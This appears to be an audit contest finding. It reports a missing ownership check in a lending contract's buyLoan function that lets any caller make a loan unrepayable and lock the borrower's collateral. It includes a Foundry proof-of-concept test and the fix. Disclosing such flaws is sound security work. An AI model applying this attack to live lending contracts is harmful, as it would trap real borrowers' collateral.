20,000 USDC
View results
Submission Details
Severity: high
Valid

Locked loan collateral

Summary

Loan collateral may be locked as the borrower can be prevented from ever repaying

Vulnerability Details

When the buyLoan function of the Lender contract is called, there is no check to assert that the caller is the owner of the pool id being passed into the function but there are assumptions in the function that the caller is the owner. This causes data corruption and the caller is set as the new loan lender and since during repayment (repay), the pool id is calculated based on the loan lender, the calculated pool id would be wrong.

Impact

Loan collateral can't be recovered by the borrower as loan can't be repaid

POC

// helper function
function _createNewPool(address owner) public returns (bytes32) {
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
vm.prank(owner);
return lender.setPool(p);
}
function test_repayLock() public {
test_borrow();
// another lender creates a new pool
bytes32 newPoolId = _createNewPool(lender2);
// original lender kicks off auction
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
vm.startPrank(lender1);
lender.startAuction(loanIds);
uint auctionStart = block.timestamp;
vm.warp(auctionStart + 2 hours);
// an address that doesn't own
// the pool calls buyLoan
vm.prank(address(0x52));
lender.buyLoan(0, newPoolId);
// borrower tries to repay but can't because
// the calculated pool id is wrong
vm.startPrank(borrower);
vm.expectRevert(stdError.arithmeticError);
lender.repay(loanIds);
}

Tools Used

Foundry

Recommendations

Add a check at the beginning of the buyLoan function to ensure msg.sender == pools[poolId].lender

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.